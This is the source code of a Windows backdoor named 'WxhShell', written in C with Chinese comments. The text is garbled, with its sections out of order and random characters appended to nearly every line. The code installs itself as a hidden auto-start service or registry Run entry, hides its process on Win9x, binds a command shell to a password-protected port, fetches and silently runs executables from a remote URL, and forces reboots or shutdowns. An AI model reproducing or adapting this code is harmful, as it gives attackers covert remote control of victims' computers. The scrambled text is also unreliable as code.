    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [n4nnmM  
    if(Boot(SHUTDOWN)) Wz%H?m:g#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); galzk$D  
    else { LY-,cXm&|  
    closesocket(wsh); zG{P5@:.R  
    ExitThread(0); z^vfha  
    } zX lcu_rc  
    break; Fs"i fn0  
    } ?zex]!R  
  // 获取shell >$,P )cB'  
  case 's': { .dI".L  
    CmdShell(wsh); #lR-?Uh  
    closesocket(wsh); $Q"D>Qf{G  
    ExitThread(0); 'Fy"|M;2  
    break; (\ge7sE-oo  
  } ncqAof(/  
  // 退出 oR7[[H.4  
  case 'x': { ,?P<=M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G9|2 KUG  
    CloseIt(wsh); 60;_^v  
    break; :{+~i.*  
    } =^1jVaAL  
  // 离开 ^"<x4e9+j  
  case 'q': { Qk? WX (`B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4C/G &w&  
    closesocket(wsh); d a<>a  
    WSACleanup(); (n`] sbx  
    exit(1); ,Qx]_gZ`  
    break; Idb*,l|<  
        } M287Z[  
  } ~7 `,}) d  
  } G9NI`]k  
3Q'vVNFh<  
  // 提示信息 l^Ob60)2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 793 15A  
} >TMd1? ,  
  } )$RV)  
d?&`Z Vl  
  return; .W^B(y(tA  
} /78]u^SW  
((C|&$@M  
// shell模块句柄 M!+J[q  
int CmdShell(SOCKET sock) ?z`={oN  
{ ~Oa$rqu%m  
STARTUPINFO si; eZEk$W%  
ZeroMemory(&si,sizeof(si)); fX]`vjM{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r1}^\C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "MU-&**  
PROCESS_INFORMATION ProcessInfo; <pfl>Uf  
char cmdline[]="cmd"; /v^ '5j1o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h;,1BpbM  
  return 0; f-3CDUQ`  
} fGb}V'x}r  
md*U  
// 自身启动模式 ,VS(4  
int StartFromService(void) )7 q"l3e"u  
{ FY^2 Y  
typedef struct Q66 +  
{ c ef[T(>  
  DWORD ExitStatus; +N=HI1^54R  
  DWORD PebBaseAddress; "]#Ij6ml  
  DWORD AffinityMask; 1^LdYO?g'  
  DWORD BasePriority; ("\{=XA Q  
  ULONG UniqueProcessId; Ie(i1?`A8  
  ULONG InheritedFromUniqueProcessId; &nDXn|  
}   PROCESS_BASIC_INFORMATION; a M9v  
u8T@W}FX  
PROCNTQSIP NtQueryInformationProcess; uLafO=Q  
w%.hALN5-C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X8VBs#tLE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )i}j\";>L  
OL>)SJj5  
  HANDLE             hProcess; H.\`(`6  
  PROCESS_BASIC_INFORMATION pbi; T[ZmD{6l  
\?; `_E`j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ep=r7Mft  
  if(NULL == hInst ) return 0; :~ pGHl  
3("C'(W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5afD;0D5TI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (/uAn2  
7b+r LyS0  
  if (!NtQueryInformationProcess) return 0; h <e  
:a6LfPEAX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d!E_EoOi  
  if(!hProcess) return 0; sSZ)C|Q  
gYD1A\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `wXK&R<`  
]:OrGD"  
  CloseHandle(hProcess); B~w$j/sWU  
uR ?W|a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j@>D]j  
if(hProcess==NULL) return 0; q0NFz mG  
W}f)VC;D  
HMODULE hMod; nd]SI;<  
char procName[255]; (da`aRVDp  
unsigned long cbNeeded; =SXdO)%2  
F%h3?"s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0n{.96r0R  
RNi%6A1  
  CloseHandle(hProcess); \IE![=p\w  
HohCb4do  
if(strstr(procName,"services")) return 1; // 以服务启动 rS{}[$Zpl  
iX$G($[l(  
  return 0; // 注册表启动 G IN|cv=  
} #B;P4n3  
c,4~zN8Ou  
// 主模块 -g@!\{  
int StartWxhshell(LPSTR lpCmdLine) <{isWEW9]3  
{ 6;Z -Y>\c  
  SOCKET wsl; au{) 5W4~  
BOOL val=TRUE; 5dm~yQN/  
  int port=0; SXk.7bMV6  
  struct sockaddr_in door; k ucbI_  
Kcm+%p^  
  if(wscfg.ws_autoins) Install(); 6nZ]y&$G-k  
4yxQq7 m,  
port=atoi(lpCmdLine); 0G+Q^]0  
nF@**,C Q  
if(port<=0) port=wscfg.ws_port; @|\9<S  
R9U{r.AA  
  WSADATA data; 3>KEl^1DB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )i~AXBt}  
iApq!u,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   & Q3Fgj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,AP0*Ln  
  door.sin_family = AF_INET; eX+36VG\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w*-42r3,'  
  door.sin_port = htons(port); sp,-JZD  
oX|T&"&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e9o\qEm   
closesocket(wsl); xqt?z n  
return 1; $fmTa02q>  
} }R%H?&P  
qYC&0`:H  
  if(listen(wsl,2) == INVALID_SOCKET) { \baY+,Dr+  
closesocket(wsl); ZwkUd-=0i  
return 1; Cz0FA]-g  
} =rA?,74  
  Wxhshell(wsl); 4!IuTPmr  
  WSACleanup(); nGH6D2!F  
N&HI)X2&  
return 0; AELj"=RA  
"+(|]q"W  
} N d].(_  
ubwM*P  
// 以NT服务方式启动 ev4[4T-( @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GC')50T J  
{ 2? qC8eC  
DWORD   status = 0; $aV62uNf  
  DWORD   specificError = 0xfffffff; =Hg!@5]H  
mtmC,jnD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <tD,Uu{P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O] @E8<?^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j'D%eQI,V  
  serviceStatus.dwWin32ExitCode     = 0; WXy8<?s  
  serviceStatus.dwServiceSpecificExitCode = 0; ~*HQPp?v  
  serviceStatus.dwCheckPoint       = 0; w"j>^#8  
  serviceStatus.dwWaitHint       = 0; 8A#,*@V[  
~CNB3r5R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @G4Z  
  if (hServiceStatusHandle==0) return; ], lLD UZ\  
C%z)D1-  
status = GetLastError(); #`VAw ) eV  
  if (status!=NO_ERROR) ;z'&$#pA  
{ 8ymdg\I+L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BJjic%V  
    serviceStatus.dwCheckPoint       = 0; B[N]=V  
    serviceStatus.dwWaitHint       = 0; ~/L:$  
    serviceStatus.dwWin32ExitCode     = status; (!* l+}  
    serviceStatus.dwServiceSpecificExitCode = specificError; *ERV\/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _4by3?<c  
    return; J :O!4gI  
  } cYA:k  
e$[O J<t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZC?~RXL(  
  serviceStatus.dwCheckPoint       = 0; wW%b~JX  
  serviceStatus.dwWaitHint       = 0; $|~ <6A{y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uj8saNu  
} 287j,'vR  
^B<-.(F  
// 处理NT服务事件,比如:启动、停止 4fi4F1f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mkSu $c  
{ A (2 0+  
switch(fdwControl) V'kBF2}   
{ @Tu`0 =8  
case SERVICE_CONTROL_STOP: 1CC0]pyHX  
  serviceStatus.dwWin32ExitCode = 0;  ?(9*@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =t,oj6P~  
  serviceStatus.dwCheckPoint   = 0; hIV9.{J  
  serviceStatus.dwWaitHint     = 0; LeCc`x,5  
  { rS [4Pey  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *j3 U+HV  
  } @NM0ILE  
  return; B ~v6_x  
case SERVICE_CONTROL_PAUSE: "yu{b]AU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A[l )>:  
  break; Ti? "Hr<W  
case SERVICE_CONTROL_CONTINUE: HZ9>4G3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ichg,d-M-K  
  break; Zz0er|9]Q  
case SERVICE_CONTROL_INTERROGATE:  zK6w0  
  break; q /JC\  
}; 9C7Npf?~M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R>bg3j  
} mnA_$W3~I  
S)EF&S(TC  
// 标准应用程序主函数 <V^o.4mOg>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HM% +Y47a  
{ U^_\V BAk  
bc(MN8b]j  
// 获取操作系统版本 -C2!`/U  
OsIsNt=GetOsVer(); #w;"s*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n*[ZS[I  
!j$cBf4  
  // 从命令行安装 Ce+:9}[  
  if(strpbrk(lpCmdLine,"iI")) Install(); mZiKA-t  
ThV>gn5  
  // 下载执行文件 y3;M$Jr  
if(wscfg.ws_downexe) { H,D5)1Uu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JZ}zXv   
  WinExec(wscfg.ws_filenam,SW_HIDE); Q&I #  
} Uh0g !zzp  
fq>{5ODO  
if(!OsIsNt) { |eRE'Wd0  
// 如果时win9x,隐藏进程并且设置为注册表启动 zfop-qDOc  
HideProc(); kwp%5C-S  
StartWxhshell(lpCmdLine); 'd N1~Pa  
} #w''WOk@ZG  
else f>Rux1Je4  
  if(StartFromService()) x_3B) &9  
  // 以服务方式启动 &$XTe2  
  StartServiceCtrlDispatcher(DispatchTable); ? l~qb]._  
else u0W6u} 4;  
  // 普通方式启动 eBa#Z1Z  
  StartWxhshell(lpCmdLine); ]WNY"B>+  
o}=*E  
return 0; >~ *wPoW  
} r`- 8+"P  
u.A}&'H  
*$O5.`]  
mx)!]B"  
=========================================== #e.x]v:  
T @^ S:K  
s/ABT.ZO  
Gd|kAC g  
`a52{Wa  
_p"u~j~%-  
" ^Zvb3RJg  
1Xi>&;],  
#include <stdio.h> UIU Pi gd  
#include <string.h> </kuJh\  
#include <windows.h> -\p&18K#  
#include <winsock2.h> #6a!OQj  
#include <winsvc.h> I:t ?#)wl  
#include <urlmon.h> 1>[#./@  
i+(>w'=m  
#pragma comment (lib, "Ws2_32.lib") Y*#xo7#B  
#pragma comment (lib, "urlmon.lib") xq.kH|bH  
[f:&aS+  
#define MAX_USER   100 // 最大客户端连接数 Ytc[ kp  
#define BUF_SOCK   200 // sock buffer FI:H/e5[  
#define KEY_BUFF   255 // 输入 buffer ];CIo> b_(  
+UWv}|  
#define REBOOT     0   // 重启 aoz+Th3  
#define SHUTDOWN   1   // 关机 R<f F ^^  
:ek^M (  
#define DEF_PORT   5000 // 监听端口 <r <{4\%}  
ea O'|@;{~  
#define REG_LEN     16   // 注册表键长度 1?w=v|b:P)  
#define SVC_LEN     80   // NT服务名长度 %h(%M'm?  
hlre eXv  
// 从dll定义API 'DXT7|Df  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3f$n8>mq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KC&XOI %  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J0vQqTaT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |X*y-d77W  
[(a3ljbRX  
// wxhshell配置信息  6p@[U>`  
struct WSCFG { #|8%h  
  int ws_port;         // 监听端口 6|'7Mr~\  
  char ws_passstr[REG_LEN]; // 口令 `3jwjy| 5  
  int ws_autoins;       // 安装标记, 1=yes 0=no tq,^!RSbZ  
  char ws_regname[REG_LEN]; // 注册表键名 &x B^  
  char ws_svcname[REG_LEN]; // 服务名 $Tv~ *|a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !YpH\wUyvP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P c&dU1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wm"q8-<<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5nBJj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EdqB4-#7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A`M-N<T  
c2Z !Vtd  
}; I9L3Y@(f6m  
M  hW9^?  
// default Wxhshell configuration ,_H H8[&  
struct WSCFG wscfg={DEF_PORT, 8mmnnf{P  
    "xuhuanlingzhe", W$wX[  
    1, 0\"#Xa+}8  
    "Wxhshell", {S+?n[1r\  
    "Wxhshell", ]v5/K  
            "WxhShell Service", w%TrL+v  
    "Wrsky Windows CmdShell Service", )c*xKij  
    "Please Input Your Password: ", <sm"3qs"_  
  1, CG@Fn\J  
  "http://www.wrsky.com/wxhshell.exe", OY(CB(2N  
  "Wxhshell.exe" :sK4mRF  
    }; "y*3p0E  
At[Q0'jkc  
// 消息定义模块 "CC"J(&a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ks phO-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *-fd$l.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CV^%'HIs?+  
char *msg_ws_ext="\n\rExit."; Vb#a ,t  
char *msg_ws_end="\n\rQuit."; R=a4zVQ  
char *msg_ws_boot="\n\rReboot..."; %E#Ubm!  
char *msg_ws_poff="\n\rShutdown..."; 9XQE5^  
char *msg_ws_down="\n\rSave to "; Q5dqn"?  
|S).,B  
char *msg_ws_err="\n\rErr!"; gi/k#3_m  
char *msg_ws_ok="\n\rOK!"; 3f^jy(  
7neJV  
char ExeFile[MAX_PATH]; V&ETt.91Ft  
int nUser = 0; $ S3b<]B  
HANDLE handles[MAX_USER]; u/|@iWK:  
int OsIsNt; ><IWF#kUA  
aB (pdW4  
SERVICE_STATUS       serviceStatus; ipMSMk7gx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SD*q+Si,1U  
-Wmb M]Z  
// 函数声明 \WnTpl>B  
int Install(void); ;Q q_  
int Uninstall(void); Ebj0 {ZL  
int DownloadFile(char *sURL, SOCKET wsh); Va.TUz4  
int Boot(int flag); am3JzH  
void HideProc(void); nG5\vj,zB  
int GetOsVer(void); 4?@#w>(  
int Wxhshell(SOCKET wsl); 'xai5X  
void TalkWithClient(void *cs); :ln| n6X  
int CmdShell(SOCKET sock); `)]W~  
int StartFromService(void); "]p&7  
int StartWxhshell(LPSTR lpCmdLine); ` W );+s  
.eVX/6,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =ZU!i0 K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z<!A;.iD  
8Vn   
// 数据结构和表定义 KK >j V  
SERVICE_TABLE_ENTRY DispatchTable[] = mYJ8O$  
{ A0A|cJP  
{wscfg.ws_svcname, NTServiceMain}, ]Z\W%'q+  
{NULL, NULL} Rvf{u8W  
}; E$:2AK{*  
&,PA+#  
// 自我安装 S/pU|zV[  
int Install(void) mMZrBz7r  
{ NRG~ya >  
  char svExeFile[MAX_PATH]; yyu-y0_  
  HKEY key; YZOwr72VL  
  strcpy(svExeFile,ExeFile); +&f_k@+  
v+sF0 j\P  
// 如果是win9x系统,修改注册表设为自启动 v_%6Ly  
if(!OsIsNt) { {U3jJ#K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ho/tCU|w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); am.d^'  
  RegCloseKey(key); j?$B@Zk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jZidT9[g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t xnH~;(  
  RegCloseKey(key); uw8g%  
  return 0; G='`*_$  
    } GFbn>dY  
  } \j)c?1*$  
} F+R1}5-3cl  
else { pcscNUp  
W"#<r  
// 如果是NT以上系统,安装为系统服务 ? B|i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x7l}u`N4  
if (schSCManager!=0) W}D[9zo/  
{ J'=s25OWU  
  SC_HANDLE schService = CreateService Z(4/;v <CT  
  ( u}R|q  
  schSCManager, dXY}B=C  
  wscfg.ws_svcname, k"BM1-f  
  wscfg.ws_svcdisp, K]>4*)A:  
  SERVICE_ALL_ACCESS, ^HP$r*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *CF80DJ  
  SERVICE_AUTO_START, g0/ R\  
  SERVICE_ERROR_NORMAL, (1er?4  
  svExeFile, ^5 "yY2}-  
  NULL, E:\#Ur2  
  NULL, F!C<^q~!  
  NULL, E'8XXV^I?P  
  NULL, V+0pvgS[  
  NULL }L{GwiDMDl  
  ); 5 8U[IGs(  
  if (schService!=0) l!j=em@  
  { \:n<&<aVSr  
  CloseServiceHandle(schService); <Z~Nz>'r  
  CloseServiceHandle(schSCManager); 0_^3 |n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,FRa6;  
  strcat(svExeFile,wscfg.ws_svcname); @frV:%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #f=41d%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ix=(f0|  
  RegCloseKey(key); a{By U%  
  return 0; wz:,gpH  
    } fx^yC.$2  
  } V5jy,Qi)  
  CloseServiceHandle(schSCManager); ] TZ/=Id  
} OCqknA  
} [zrFW g6N  
li')U  
return 1; YB{'L +Wbw  
} 1F2(MKOo!  
{ueDwnZ  
// 自我卸载 6TQ[2%X'  
int Uninstall(void) 1[RI 07g7*  
{ jR3mV  
  HKEY key; [-)BI|S:  
A4L.bBl  
if(!OsIsNt) { XzBl }4s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6k|f]BCL  
  RegDeleteValue(key,wscfg.ws_regname); Fl==k  
  RegCloseKey(key); mLHl]xs4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q{q;X{  
  RegDeleteValue(key,wscfg.ws_regname); ?*QL;[n1  
  RegCloseKey(key); '?mky,:HT  
  return 0;  `7V'A  
  } Y1DbBDk  
} =AuxME g  
} CT=5V@_u\  
else { +5Y;JL<%/  
p<RIvSqM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jyRz53  
if (schSCManager!=0) P[,  
{ KM oDcAjH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lp1GK/!s  
  if (schService!=0) v +?'/Q%  
  { Gkdxw uRw  
  if(DeleteService(schService)!=0) { +DSZ(Zb4qY  
  CloseServiceHandle(schService); 1=jwJv.^/  
  CloseServiceHandle(schSCManager); o<Rrr,  
  return 0; o~'UWU'#  
  } TI^X gl~  
  CloseServiceHandle(schService); n*eqM2L  
  } n=h!V$X   
  CloseServiceHandle(schSCManager); 1(a+|  
} 6#2E {uy;R  
} d]^\qeG^p  
T FK#ign  
return 1; ,Mu"r!MK  
} 1KI5tf>>p  
idZ]d6  
// 从指定url下载文件 +tv"j;z  
int DownloadFile(char *sURL, SOCKET wsh) u< 5{H='6  
{ w `>g^_xsg  
  HRESULT hr; )m10IyUAY  
char seps[]= "/"; 6p~8(-nG  
char *token; R lmeZy4.  
char *file; X}]g;|~SN  
char myURL[MAX_PATH]; ^A t,x  
char myFILE[MAX_PATH]; {9h`h08?z  
x /?w1  
strcpy(myURL,sURL); ]Cc8[ZC  
  token=strtok(myURL,seps); (fC U+  
  while(token!=NULL) Vs&Ul6@N  
  { PWN$x`h g[  
    file=token; ID$%4jl  
  token=strtok(NULL,seps); `g,i `<  
  } <Lfo5:.  
J]$]zD  
GetCurrentDirectory(MAX_PATH,myFILE); :.F;LF&  
strcat(myFILE, "\\"); 2[Bw+<YA`  
strcat(myFILE, file); ]*yUb-xY  
  send(wsh,myFILE,strlen(myFILE),0); A!ak i}aT~  
send(wsh,"...",3,0); Ve|=<7%%S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ey) 8q.5  
  if(hr==S_OK) 7! #34ue  
return 0; Z oQPvs7_  
else jR mo9Bb2  
return 1; ]*pro|  
oD7^9=#  
} JI[9c,N  
Mp`i@pm+  
// 系统电源模块 ?wbf)fbq  
int Boot(int flag) WxF0LhM  
{ $|!@$Aj  
  HANDLE hToken; oh^QW`#(  
  TOKEN_PRIVILEGES tkp; f!+G1z}iA  
dp#'~[j  
  if(OsIsNt) { {x/)S*:Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qgZN&7Nn:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,L9ioYbp  
    tkp.PrivilegeCount = 1; >r5s>A[YC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lc\f6J>HT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VW *d*!  
if(flag==REBOOT) { W)m\q}]FYz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gC \^"m  
  return 0; rQ287y{  
} 56^#x  
else { EZg$mp1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zkmfu~_)  
  return 0; 2vx1M6a)L  
} Vrx3%_NkQ  
  } w2e 9Ue~WH  
  else { -mAi7[omh  
if(flag==REBOOT) { `%A>{A"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rk .tLk  
  return 0; "qvJ-Y  
} >'96SE3  
else { B_#U|10et  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $mq @g  
  return 0; !Au9C   
} S67>yqha  
} 3X A8\Mg  
OVgx2_F  
return 1; 76rRF   
} j9]H~:g$d  
z;d]=PT  
// win9x进程隐藏模块 QvjOOc@k~n  
void HideProc(void) yi$Jk}w  
{ >,s.!vpK  
AEr8^6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dE0 p>4F  
  if ( hKernel != NULL ) Ua= w;h  
  { 9 9S-P}xd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "J(W)\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l!^+Xeg~  
    FreeLibrary(hKernel); Zbobi,  
  } 22gk1'~dO  
> qhoGg  
return; 9XSZD93L  
} p!]$!qHO (  
s GdlS&08(  
// 获取操作系统版本 ap[{`u  
int GetOsVer(void) -p\uW 0XA  
{ E |BE(F;K  
  OSVERSIONINFO winfo; v;m}<3@'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b ?-VZA:  
  GetVersionEx(&winfo); nNJMQb'K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [TFd|ywn  
  return 1; ohPCYt  
  else ;mw$(ZKa#  
  return 0; d}`Z| ex  
} V<%eWT)x7C  
R<GnPN:c  
// 客户端句柄模块 ]gHi5]\NC  
int Wxhshell(SOCKET wsl) sWc_,[b  
{ cB ,l=/?  
  SOCKET wsh; tB i16=  
  struct sockaddr_in client; fI([vI  
  DWORD myID; ;&N=t64"  
zj9)vr`7  
  while(nUser<MAX_USER) '!wI8f  
{ 3r]:k) J  
  int nSize=sizeof(client); |)vC^=N{+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~dFdO7  
  if(wsh==INVALID_SOCKET) return 1; d}2$J1`  
-~'{WSJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1'G&PX   
if(handles[nUser]==0) w#!^wN  
  closesocket(wsh); x  #Um`  
else k,mgiGrQ  
  nUser++; 1K`7  
  } vTdJe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6(5YvT  
c :{#H9  
  return 0; OrJuE[R.  
} :~Z -K\  
$xK2M  
// 关闭 socket ip`oL_c  
void CloseIt(SOCKET wsh) %]m/fo4b  
{ ,@#))2<RK  
closesocket(wsh); ruKm_j#J  
nUser--; Q,f~7IVX  
ExitThread(0); 5S EyAhB  
} , Y\`n7Ww  
~mR@L`"l  
// 客户端请求句柄 R'udC}  
void TalkWithClient(void *cs) 9[5qN!P;y  
{ 5(+PI KCjC  
L^{1dVGWNa  
  SOCKET wsh=(SOCKET)cs; 5!b+^UR;z  
  char pwd[SVC_LEN]; %tOGs80_{  
  char cmd[KEY_BUFF]; =,])xzG%  
char chr[1]; `Nnaw+<]  
int i,j; %wDE+&M  
OtVRhR3>  
  while (nUser < MAX_USER) { <?&Y_  
v/m} {&K  
if(wscfg.ws_passstr) { <y}9Twdy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g5OKhL0u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;K$ !c5  
  //ZeroMemory(pwd,KEY_BUFF); _&wrA3@/L  
      i=0; @|2L>N  
  while(i<SVC_LEN) { nqFJNK]a  
J\@W+/#dF  
  // 设置超时 nr{#Krkb  
  fd_set FdRead; kF@Z4MB}yr  
  struct timeval TimeOut; $0mR_pA\fW  
  FD_ZERO(&FdRead); a7fFp 9l!  
  FD_SET(wsh,&FdRead); -P.51q  
  TimeOut.tv_sec=8; &}y?Lt  
  TimeOut.tv_usec=0; \}n\cUy-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B@ xjwBUk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;}dvc7  
=] +owl2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QhJuH_f 0  
  pwd=chr[0];  Nt w?~%  
  if(chr[0]==0xd || chr[0]==0xa) { [KMNMg  
  pwd=0; cSD$I^$oq  
  break; GyZpdp!  
  } x##0s5Qn  
  i++; chE}TK  
    } }`~n$OVx  
+Zg@X.z  
  // 如果是非法用户,关闭 socket lS96Z3k"SB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <0!O'" "J  
} T! ww3d  
0sA+5*mdM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EvKzpxCh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "}x%5/(  
4o<rj4G>  
while(1) { k.ttrKy<q/  
|kGQ~:k+P  
  ZeroMemory(cmd,KEY_BUFF); 5~[m]   
kK|D&Xy`  
      // 自动支持客户端 telnet标准   bgYUsc*uR  
  j=0; @GWJq 3e  
  while(j<KEY_BUFF) { 8Drz i!}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +^DDWVp  
  cmd[j]=chr[0]; =z!^O T6eb  
  if(chr[0]==0xa || chr[0]==0xd) { !T#EkMM  
  cmd[j]=0; )~0TGy|  
  break; :>y;*x0w  
  } #,9s\T  
  j++; c`@";+|r  
    } bO` S Bq$  
{e5DQ21.  
  // 下载文件 P-/"sD  
  if(strstr(cmd,"http://")) { akF T 0@9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cLf<YF  
  if(DownloadFile(cmd,wsh)) 5ZX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9:P\)'y?  
  else aJ QzM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unih"};ou  
  } GC~nr-O  
  else { UqD ]@s`  
4T-"\tmg/  
    switch(cmd[0]) { |R2p^!m  
